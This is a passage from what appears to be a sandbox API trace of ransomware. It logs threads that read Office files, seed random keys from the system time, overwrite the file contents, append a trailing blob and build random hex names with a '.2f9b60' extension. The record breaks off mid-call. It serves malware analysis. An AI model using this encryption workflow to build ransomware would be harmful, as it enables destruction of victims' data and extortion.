Office\\Office14\\1033\\630a95.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\630a95.2f9b60" [0206.850] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\630a95.2f9b60", NtPathName=0x3e86fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\630a95.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431f30c0 Thread: id = 1393 os_tid = 0x1818 [0118.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 0x20 [0119.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD", dwFileAttributes=0x20) returned 1 [0119.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1710 [0119.243] GetFileSizeEx (in: hFile=0x1710, lpFileSize=0x3e97fe00 | out: lpFileSize=0x3e97fe00*=2144) returned 1 [0119.243] SetFilePointerEx (in: hFile=0x1710, liDistanceToMove=0x85c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.243] ReadFile (in: hFile=0x1710, lpBuffer=0x3e97fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e97fdc8, lpOverlapped=0x0 | out: lpBuffer=0x3e97fd80*, lpNumberOfBytesRead=0x3e97fdc8*=0x4, lpOverlapped=0x0) returned 1 [0119.266] SetFilePointerEx (in: hFile=0x1710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0119.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa500 [0119.266] NtQuerySystemTime (in: CurrentTime=0x3e97fcc0 | out: CurrentTime=0x3e97fcc0*=132462177246826000) returned 0x0 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x7b6f6f4e [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0xf49ff1d [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x2e4ce761 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0xa51a6e9 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x26b381c8 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x782def98 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x68498d09 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x5c9093bb [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x396b720c [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x7980e450 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x531ee589 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x3f8bd24f [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x3908e3ec [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x2d8b2d52 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x64fa3ffc [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x18b67aab [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x38920b25 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x3b37334c [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0xb2c1898 [0119.266] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x566f4e94 [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x7dd59c90 [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x5bb3722 [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x3a32679b [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x27e1953c [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x33b76a98 [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x3a5d6270 [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x76c4e687 [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x36bdd3b1 [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x507f9794 [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x479b4990 [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x195be704 [0119.267] RtlRandomEx (in: Seed=0x3e97fcb0 | out: Seed=0x3e97fcb0) returned 0x36818280 [0119.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2c0 [0119.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0119.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa70 [0119.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0119.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0119.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0119.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0119.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ea520 [0119.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4202e130 [0119.277] ReadFile (in: hFile=0x1710, lpBuffer=0x201ea520, nNumberOfBytesToRead=0x860, lpNumberOfBytesRead=0x3e97fcb0, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesRead=0x3e97fcb0*=0x860, lpOverlapped=0x0) returned 1 [0119.390] SetFilePointerEx (in: hFile=0x1710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.390] WriteFile (in: hFile=0x1710, lpBuffer=0x4202e130*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x3e97fcb4, lpOverlapped=0x0 | out: lpBuffer=0x4202e130*, lpNumberOfBytesWritten=0x3e97fcb4*=0x860, lpOverlapped=0x0) returned 1 [0147.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0147.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8640 [0147.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8640) returned 1 [0147.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4202e130) returned 1 [0147.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ea520) returned 1 [0147.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8640 [0147.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82e0 [0147.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82e0) returned 1 [0147.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced82e0 [0147.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84f0 [0147.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a80 [0147.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a80) returned 1 [0147.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1673a0 [0147.894] SetFilePointerEx (in: hFile=0x1710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.894] WriteFile (hFile=0x1710, lpBuffer=0x1673a0, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3e97fdd0, lpOverlapped=0x0) [0200.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0200.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0200.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0200.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8430 [0200.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8430) returned 1 [0200.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8400 [0200.498] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="56") returned 2 [0200.498] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="2a") returned 2 [0200.498] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="3a") returned 2 [0200.498] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="0a") returned 2 [0200.498] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="8d") returned 2 [0200.498] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="24") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="11") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="66") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="8e") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="84") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="e1") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="14") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="99") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="51") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="14") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="df") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="8b") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="62") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="cc") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="be") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d842c, _Format="%c%c" | out: _Dest="f0") returned 2 [0200.499] sprintf (in: _Dest=0x1b7d842e, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.499] RtlInitAnsiString (in: DestinationString=0x3e97fe48, SourceString="562a3a0a8d2411668e84e114e6994f5114df8b62ccbef07c" | out: DestinationString="562a3a0a8d2411668e84e114e6994f5114df8b62ccbef07c") [0200.499] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e97fe18, SourceString="562a3a0a8d2411668e84e114e6994f5114df8b62ccbef07c", AllocateDestinationString=1 | out: DestinationString="562a3a0a8d2411668e84e114e6994f5114df8b62ccbef07c") returned 0x0 [0200.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0bb0 [0200.500] wcscat (in: _Dest=0x431da100, _Source="562a3a0a8d24" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\562a3a0a8d24") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\562a3a0a8d24" [0200.500] wcscat (in: _Dest=0x431da100, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\562a3a0a8d24.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\562a3a0a8d24.2f9b60" [0200.500] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\562a3a0a8d24.2f9b60", NtPathName=0x3e97fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\562a3a0a8d24.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431ea9e0 Thread: id = 1394 os_tid = 0x181c [0118.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css")) returned 0x20 [0119.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS", dwFileAttributes=0x20) returned 1 [0119.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1730 [0119.248] GetFileSizeEx (in: hFile=0x1730, lpFileSize=0x3e8ffd00 | out: lpFileSize=0x3e8ffd00*=3450) returned 1 [0119.248] SetFilePointerEx (in: hFile=0x1730, liDistanceToMove=0xd76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.249] ReadFile (in: hFile=0x1730, lpBuffer=0x3e8ffc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e8ffcc8, lpOverlapped=0x0 | out: lpBuffer=0x3e8ffc80*, lpNumberOfBytesRead=0x3e8ffcc8*=0x4, lpOverlapped=0x0) returned 1 [0119.417] SetFilePointerEx (in: hFile=0x1730, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaaa0 [0119.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0119.418] NtQuerySystemTime (in: CurrentTime=0x3e8ffbc0 | out: CurrentTime=0x3e8ffbc0*=132462177248230000) returned 0x0 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x4b3dd92b [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x4720fa6f [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x331a8632 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x6acaefb6 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x27d3dc16 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x70ec735a [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0xb0840c3 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x4e7b9865 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x13dc4382 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x7a112b8e [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x2d775585 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x3785b241 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x7be92e85 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0xde98f03 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x6da8f9ad [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x56e94fe2 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0xcc52703 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x4d9bfc63 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x442fa670 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x7f491edf [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x3c4105a6 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x575c8e07 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x13075b6e [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x18d61f5f [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x22f4bd6e [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x3a46df26 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x561e6463 [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x2b641f9f [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x1a83409d [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x6cf914ed [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x2a0bc5bb [0119.418] RtlRandomEx (in: Seed=0x3e8ffbb0 | out: Seed=0x3e8ffbb0) returned 0x5bcf92c [0119.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5b0 [0119.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0119.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8613b0 [0119.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0119.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861290) returned 1 [0119.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c2b0 [0119.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0119.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42035950 [0119.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42039560 [0119.426] ReadFile (in: hFile=0x1730, lpBuffer=0x42035950, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x3e8ffbb0, lpOverlapped=0x0 | out: lpBuffer=0x42035950*, lpNumberOfBytesRead=0x3e8ffbb0*=0xd7a, lpOverlapped=0x0) returned 1 [0119.426] SetFilePointerEx (in: hFile=0x1730, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.426] WriteFile (in: hFile=0x1730, lpBuffer=0x42039560*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x3e8ffbb4, lpOverlapped=0x0 | out: lpBuffer=0x42039560*, lpNumberOfBytesWritten=0x3e8ffbb4*=0xd7a, lpOverlapped=0x0) returned 1 [0147.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7410 [0147.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7290 [0147.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7290) returned 1 [0147.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42039560) returned 1 [0147.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42035950) returned 1 [0147.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0147.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c2b0) returned 1 [0147.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced7290 [0147.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c2b0 [0147.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0147.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81c0 [0147.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81c0) returned 1 [0147.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced81c0 [0147.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f50 [0147.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0147.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fe0) returned 1 [0147.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0147.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c2b0) returned 1 [0147.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169e60 [0147.878] SetFilePointerEx (in: hFile=0x1730, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.878] WriteFile (hFile=0x1730, lpBuffer=0x169e60, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3e8ffcd0, lpOverlapped=0x0) [0200.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609f0 [0200.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8609f0) returned 1 [0200.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0200.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609f0 [0200.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a20 [0200.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860a20) returned 1 [0200.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d8400 [0200.482] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="ac") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="bf") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="57") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="a5") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="0c") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="f7") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="11") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="de") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="ab") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="6b") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="00") returned 2 [0200.482] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="0c") returned 2 [0200.482] sprintf (in: 